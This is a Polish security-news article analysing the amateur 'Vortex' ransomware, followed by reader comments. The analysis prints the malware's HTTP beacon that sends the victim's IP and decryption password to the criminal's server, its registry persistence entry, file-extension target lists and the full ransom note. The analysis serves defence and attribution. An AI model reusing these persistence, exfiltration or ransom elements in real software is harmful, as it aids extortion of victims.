szukaj

10.03.2017 | 11:56

avatar

Adam Haertle

Nieuchwytny polski ransomware z arabskim akcentem w końcu złapany

Czasem niektórzy przestępcy bywają odrobinę sprytniejsi od konkurencji i odnajdują sposoby, by utrudnić analizę swojej aktywności. Na taki przypadek natrafiliśmy na początku tego roku – lecz w końcu udało się go częściowo wyjaśnić.

Pod koniec stycznia do specjalistów zajmujących się bezpieczeństwem zaczęły zgłaszać się ofiary nowego rodzaju ransomware. Przypadki te były ciekawe z dwóch powodów. Po pierwsze autor ransomware wydawał się być Polakiem, a po drugie nikt nie potrafił znaleźć próbki programu szyfrującego ani poznać metody jego dystrybucji mimo iż ofiar było co najmniej kilka. Powoli jednak można odsłonić rąbka tajemnicy i zajrzeć do nad wyraz amatorskiego – choć niestety chyba skutecznego polskiego ransomware.

Anonimowi Analitycy na tropie

Pierwsze ślady Polskiego Ransomware pojawiły się w serwisie Pastebin. Można było się z nich dowiedzieć, że z autorem programu można skontaktować się pod adresami  [email protected] lub [email protected] a także pod nr GaduGadu 61621122. Koszt odszyfrowania danych miał wynosić 249 dolarów a obsługa klienta wyglądała na całkowicie manualną. Przez dłuższy czas w sprawie nie działo się nic znaczącego (oprócz pojawiania się kolejnych ofiar), aż do wczoraj, kiedy to ogłoszono zdobycie próbki złośliwego oprogramowania.

Kliknij tutaj, aby wyświetlić treść z Twittera.
Dowiedz się więcej w polityce prywatności.

Okazało się, że ransomware ewoluował co można rozpoznać po nazwie „Vortex” nieobecnej we wcześniejszych notatkach. W sieci pojawiły się już pierwsze, dość surowe analizy a Orange zablokował swoim klientom dostęp do serwerów sterujących. Zespół Anonimowych Analityków naszego serwisu przyjrzał się udostępnionej próbce i choć śmiał się długo z metod jej działania, to przyznał, że brak prostej metody odzyskania plików.

Albański ransomware

Pamiętacie albańskiego wirusa, którego każdy musiał sam uruchomić? Z tym ransomware jest dość podobnie. Metodą jego dystrybucji zajmiemy się za chwilę, zacznijmy od konstrukcji. Program napisany jest w języku C# i nie jest w żaden sposób zaciemniony, spakowany ani zaszyfrowany. Wystarczy wczytać go do aplikacji dotPeek by obejrzeć od początku do końca. Co więcej, program wykorzystuje w przeważającej części projekt AESxWin znajdujący się na GitHubie. AESxWin to program, który wg jego autora ma być wykorzystywany do szyfrowania za pomocą algorytmu AES plików przesyłanych do chmury – i faktycznie na taki wygląda, został jednak zmodyfikowany. Po uruchomieniu wyświetla takie oto okienko.

Co ciekawe, szybkie kliknięcie w guzik „Stop” zatrzymuje szyfrowanie plików. O poziomie zaawansowania „programisty” tego ransomware świadczy także kawałek kodu uruchamiającego proces szyfrowania, w którym zamiast wywołać bezpośrednio konkretną funkcję w aplikacji, autor wywołuje zdarzenie „Click” na przycisku i dopiero ten przycisk uruchamia odpowiednia funkcję. #AnalitykPłakałJakAnalizował

Uruchomiony ransomware przede wszystkim potrzebuje klucza do szyfrowania plików. Autor postanowił ominąć tworzenie tego skomplikowanego element kodu (którego nie było w przerabianej aplikacji) i zdecydował się na odwołanie do publicznie dostępnej usługi. Żądanie wysłane do serwera wygląda tak:

http://www.sethcardoza.com/api/rest/tools/random_password_generator/length:40/complexity:alphaNumeric

W odpowiedzi program otrzymuje ciąg 40 znaków, który wygląda na losowy (badanie jego losowości jest osobnym zadaniem, którego się nie podejmujemy). W kolejnym kroku program sprawdza adres IP zainfekowanego komputera. Ponownie zadanie przerosło osobę modyfikującą kod, ponieważ odwołuje się w tym celu do zewnętrznego serwera:

https://api.ipify.org/

W odpowiedzi otrzymuje adres IP. Program dodaje także klucz do rejestru zapewniający ponowne uruchomienie w razie problemów.

[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run]
“AESxWin”=”c:\\katalog\\nazwapliku.exe”

Jeśli złośliwy program nie otrzyma odpowiedzi serwera serwującego klucz lub zostanie zatrzymany guzikiem „Stop”, to nie zaszyfruje danych. Jeśli jednak uruchomimy ponownie komputer, to program uruchomi się z rejestru i ponownie spróbuje zaszyfrować pliki. Dlatego jeśli zablokujemy jego wykonanie, trzeba go jeszcze usunąć z rejestru przed restartem komputera.

Jak już wspominaliśmy wcześniej, ten ransomware to modyfikacja ogólnodostępnego programu do szyfrowania kopii zapasowych, stąd też uruchomienie pliku z parametrem /reg powoduje dodanie do menu pod prawym przyciskiem myszy opcji szyfrowania oraz deszyfrowania plików i katalogów.

Uruchomienie z parametrem /unreg wyłącza tę opcję.

Po zebraniu opisanych wyżej danych program “melduje” się na serwerze przestępcy wysyłając zebrane informacje wraz z wygenerowanym hasłem do odszyfrowania plików. Całość komunikacji odbywa się przez nieszyfrowany protokół HTTP, co może pomóc w odzyskaniu klucza do odszyfrowania danych (o ile ktoś przez przypadek nagrywa cały ruch wychodzący HTTP).

GET /sss/post.php?IP=XXX.XXX.XXX.XXX&ID=a11a111a-1111-11e1-a111-a1aa1a1a11a1&Data=01-02-2017&Haslo=8Aeils0nCEBHHakMD3V48kOcpLHt1DbgPY7NnmwA HTTP/1.1
Host: wielkijopl.temp.swtest.ru
Connection: Keep-Alive

Po wysłaniu danych program przystępuje do szyfrowania plików. Jego celem są pliki znajdujące się w następujących katalogach:

  • Environment.SpecialFolder.Personal -> Katalog, który służy jako wspólne repozytorium do dokumentów użytkownika.
  • Environment.SpecialFolder.Recent -> Katalog zawierający odwołania do ostatnio używanych dokumentów użytkownika.
  • Environment.SpecialFolder.MyPictures -> Katalog „Moje Obrazy”
  • Environment.SpecialFolder.MyMusic -> Katalog „Moja Muzyka”
  • Environment.SpecialFolder.Favorites -> Katalog, który służy jako wspólne repozytorium „elementów ulubionych” użytkownika.
  • Environment.SpecialFolder.ProgramFiles -> Katalog „Program Files”
  • Environment.SpecialFolder.DesktopDirectory -> Katalog „Pulpit” zawierający dane z pulpitu użytkownika
  • Environment.SpecialFolder.System -> Katalog systemowy
  • Environment.SpecialFolder.MyComputer -> Katalog „Mój Komputer”
  • oraz główne katalogi wszystkich napędów w komputerze (np. C:\, D:\ itp.)

Do nazw zaszyfrowanych plików dodawany jest ciąg „aes”. Próbka którą analizowaliśmy przygotowana jest do szyfrowania całej gamy różnych plików w tym m.in:

  •   image_ext = new string[] { „.jpg”, „.jpeg”, „.png”, „.gif”, „.bmp” };
  •   video_ext = new string[] { „.avi”, „.flv”, „.mov”, „.mp4”, „.mpg”, „.rm”, „.rmvb”, „.mkv”, „.swf”, „.vob”, „.wmv”, „.3g2”, „.3gp”, „.asf”, „.ogv” };
  •   audio_ext = new string[] { „.mp3”, „.wav”, „.acc”, „.ogg”, „.amr”, „.wma” };
  •   document_ext = new string[] { „.pdf”, „.txt”, „.rtf”, „.doc”, „.docx”, „.ppt”, „.pptx”, „.xls”, „.xlsx” };
  •   compressed_ext = new string[] { „.zip”, „.rar”, „.7z”, „.tar”, „.gzip” };
  •   code_ext = new string[] { „.cs”, „.vb”, „.java”, „.py”, „.rb”, „.cpp”, „.html”, „.css”, „.js” };

Z nieznanego nam powodu (wydajność?) jej funkcje zostały ograniczone do szyfrowania jedynie plików graficznych z rozszerzeniami zdefiniowanymi w zmiennej “image_ext”. Postęp szyfrowania zapisywany jest do logu, w którym znajdziemy m.in pierwsze cztery znaki użytego do szyfrowania hasła oraz inne informacje typu “DEBUG” wskazujące na to co program robił i które pliki zaszyfrował. Plik znajdziemy w:

C:\ProgramData\Keyboard\09032017_235247.log (nazwa z data i godzina rozpoczęcia)

Zawartość logu wygląda tak:

------------------------
00-00-2017 00:01:20: Start programu
00-00-2017 00:01:22: Pobrano nowe hasło. oJGB
00-00-2017 00:01:22: Rozpoczęto przeszukiwanie lokalizacji: C:\Users\<Nazwa Uzytkownika>\Documents C:\Users\<Nazwa Uzytkownika>\AppData\Roaming\Microsoft\Windows\Recent C:\Users\<Nazwa Uzytkownika>\Pictures C:\Users\<Nazwa Uzytkownika>\Music C:\Users\<Nazwa Uzytkownika>\Videos C:\Users\<Nazwa Uzytkownika>\Favorites C:\Users\Public\Documents C:\Users\Public\Pictures C:\Users\Public\Music C:\Users\Public\Videos C:\Users\Public\Desktop C:\
00-00-2017 00:01:22: Ustalono adres IP. XXX.XXX.XXX.XXX
00-00-2017 00:01:24: Zaszyfrowano: zdjecie1.jpg | C:\Users\<Nazwa Uzytkownika>\Documents\zdjecie1.jpg Hasło=oJGB
00-00-2017 00:01:24: Zaszyfrowano: zdjecie2.jpg | C:\Users\<Nazwa Uzytkownika>\Pictures\zdjecie2.jpg Hasło=oJGB
00-00-2017 00:01:25: Zaszyfrowano: Chrysanthemum.jpg | C:\Users\Public\Pictures\Sample Pictures\Chrysanthemum.jpg Hasło=oJGB
00-00-2017 00:01:25: Zaszyfrowano: Desert.jpg | C:\Users\Public\Pictures\Sample Pictures\Desert.jpg Hasło=oJGB
------------------------

Po zaszyfrowaniu, w katalogu gdzie ransomware znalazł pliki z listy do zaszyfrowania, tworzony jest plik ODZSZYFRUJ-DANE.txt z informacją o okupie i sposobie komunikacji z przestępcami.

ᏉᎾᏒᏆᎬx ᏒᎪᏁsᎾmᎳᎪᏒᎬ

Nie możesz znaleźć potrzebnych plików na dysku twardym ? Zawartość Twoich plików jest nie do otwarcia?
Jest to skutek działania programu który zaszyfrował większość Twoich danych przy pomocy silnego alogrytmu AES-256,
używanego min. przez służby mundurowe do zatajania danych przesyłanych drogą elektroniczną.
Jedyna metoda aby odzyskać Twoje pliki to wykupienie od nas programu deszyfrującego, wraz z jednorazowym kluczem wygenerowanym unikalnie dla Ciebie!
Gdy już postanowisz odzyskać swoje dane skontaktuj się z nami pod adrem e - mail: [email protected] lub [email protected]
2 Pliki odszyfrujemy za darmo aby udowodnić że jesteśmy w stanie tego dokonać, Za resztę niestety musisz zapłacić !
Cena za odszyfrowanie wszystkich plików: 199$
Uwaga !Nie marnuj czasu, czas to pieniądz za 4 dni cena wzrośnie o 100 % !
IP=XXX.XXX.XXX.XXX ID=111111111-1111-1111-11111111111111111 Data=11-11-2017

Po zakończeniu szyfrowania ransomware kasuje swój plik (wykonując plik exec.bat, którego niestety nie udało się nam zlokalizować) oraz usuwa wpisy z rejestru, by uniknąć wykrycia.

Dystrybucja, atrybucja i unikanie ataku

Ciekawym wątkiem jest dystrybucja tego ransomware. Jakim cudem przez ponad miesiąc unikał rozpoznania i wrzucenia na VirusTotal, jeśli w tym czasie infekował internautów? Odpowiedzi możemy prawdopodobnie szukać w fakturach Playa lub emailach od Zary. W opisywanych przez nas kampaniach autor używał nietypowego konia trojańskiego, napisanego w całości w języku JavaScript. Trojan ten był autorstwa osoby arabskojęzycznej, podobnie jak program szyfrujący użyty do stworzenia ransomware Vortex. Prawdopodobnie opisywany ransomware jest wgrywany ręcznie na komputery wybranych ofiar javascriptowego konia trojańskiego, co tłumaczy długi czas potrzebny do wykrycia próbki.

W kodzie znaleźć można także następującą ścieżkę:

C:\Users\KOT-GIGANT\Desktop\muzyka\aeS\anna.php_pliki\AESxWin-master (6)\AESxWin-master\AESxWin\obj\Debug\AESxWin.pdb

Kot gigant to ciekawy pseudonim. Google wskazuje utwór Tedego pod tym samym tytułem, a my wspominamy pewnego miłośnika taniego malware, który często słucha polskiego rapu.

Autora ransomware i całej kampanii niezmiennie prosimy o kontakt – mamy kilka pytań.

 

Powrót

Komentarze

  • avatar
    2017.03.10 12:12 Bslawek

    Rozjebaliscie mi interes ;(

    Odpowiedz
  • avatar
    2017.03.10 13:41 tjk

    W sumie to ciekawe czy w n6 już znalazły się indykatory umożliwiające wykrycie zagrożenia.

    Odpowiedz
  • avatar
    2017.03.10 22:58 wk

    Anonimowi Analitycy to jest dobra nazwa, zapamiętam

    Odpowiedz
    • avatar
      2017.03.10 23:39 StarWars90210

      anonimowy anal, gejpol zemsta sitków

      Odpowiedz
  • avatar
    2017.03.10 23:05 Motin

    „Autora ransomware i całej kampanii niezmiennie prosimy o kontakt – mamy kilka pytań.”

    „ile na umowe pan chce? dołączy pan do nas?” kek

    Odpowiedz
  • avatar
    2017.03.10 23:45 Dylan

    chciałbym ci Brandom powiedzieć że się mylisz ! Delma nigdy tego nie powiedziała

    Odpowiedz
  • avatar
    2017.03.11 09:45 vertusi

    Ten klucz to zwykłe UUID tutaj można więcej o tym przeczytać https://en.wikipedia.org/wiki/Universally_unique_identifier

    Odpowiedz
  • avatar
    2017.03.11 14:16 rrraskolnikow

    +10 za totalcmd, -20 za zamazanie nazwy „Lister” w belce okna

    Odpowiedz
  • avatar
    2017.03.11 16:29 li-on

    „W kolejnym kroku program sprawdza adres IP zainfekowanego komputera. Ponownie zadanie przerosło osobę modyfikującą kod, ponieważ odwołuje się w tym celu do zewnętrznego serwera”

    Nie do końca się z wami zgadzam – jeżeli komputer jest za NATem to jest to całkiem dobra metoda na sprawdzenie IP.

    Odpowiedz
    • avatar
      2017.04.01 09:46 adf88

      Nie tyle niektórzy co większość. Prawie każdy ma w domu swój trasownik. Od wewnątrz nie da się sprawdzić „zewnętrznego” IP.

      Odpowiedz
  • avatar
    2017.03.13 00:37 Filystyn

    [email protected]

    Openmailbox RZYG.
    Idioci pozwalali rejstrowac się w nieskończość bez żadnych captchy przez co zamienili usługe w spamers haven. Łaskawcy poprawili ale co z tego jak teraz mi maile nie dochodzą albo wpadają do spamu.

    to taki offtop.

    Odpowiedz
  • avatar
    2017.03.14 15:55 Padding

    Mało finezyjne? Mało. Działa? Działa. Imo staracie się nadmiernie poniżyc autora ransoma. Czy słusznie czy nie to już każdy sobie wydedukuje.

    Odpowiedz
  • avatar
    2017.03.17 22:57 AlternatywnyIdiota

    Zastanawiam się, dlaczego nikt nie pokusi się o analizę zachowania naiwnych ludzi, którzy jak tylko widzą wiadomość o swoich pieniądzach, to od razu klikają..

    Odpowiedz
  • avatar
    2018.04.05 07:58 Eich Odpowiedz

Zostaw odpowiedź

Jeśli chcesz zwrócić uwagę na literówkę lub inny błąd techniczny, zapraszamy do formularza kontaktowego. Reagujemy równie szybko.

Nieuchwytny polski ransomware z arabskim akcentem w końcu złapany

Komentarze